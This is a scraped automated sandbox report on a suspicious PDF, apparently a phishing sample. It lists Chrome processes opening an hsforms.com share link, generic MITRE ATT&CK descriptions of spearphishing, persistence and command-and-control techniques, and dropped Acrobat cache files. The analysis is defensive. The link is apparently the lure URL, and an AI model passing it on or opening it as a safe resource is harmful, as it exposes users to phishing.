File size:	3'242'272 bytes
MD5 hash:	83395EAB5B03DEA9720F8D7AC0D15CAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	21
Start time:	12:46:00
Start date:	16/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://share.hsforms.com/1CW530LkrS821BfbeHP3L2wsoxpw
Imagebase:	0x7ff7d6f10000
File size:	3'242'272 bytes
MD5 hash:	83395EAB5B03DEA9720F8D7AC0D15CAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	12:46:00
Start date:	16/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2008 --field-trial-handle=1948,i,5665502545980441314,8434403602950159140,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff7d6f10000
File size:	3'242'272 bytes
MD5 hash:	83395EAB5B03DEA9720F8D7AC0D15CAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may send spearphishing emails with a malicious link in an attempt to gain access to victim systems. Spearphishing with a link is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attaching malicious files to the email itself, to avoid defenses that may inspect email attachments. Spearphishing may also involve social engineering techniques, such as posing as a trusted source.
Tactics:	Initial Access
Data Sources:	Application Log: Application Log Content, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Google Workspace, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.
Tactics:	Persistence
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Process: Process Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report FINAL000035745873695487KHFKA.pdf

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Dropped Files

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Networking

System Summary

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\7d654fb9-281d-4553-bdf0-d6909e6379a8.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF45f81c.TMP (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\c225c90d-51d0-470c-b031-b36b32e67883.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\000001.dbtmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\CURRENT (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\MANIFEST-000001

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\metadata\000001.dbtmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\metadata\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\metadata\CURRENT (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\metadata\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\metadata\MANIFEST-000001

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ConnectorIcons\icon-241216174437Z-170.bmp

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Windows Analysis Report
FINAL000035745873695487KHFKA.pdf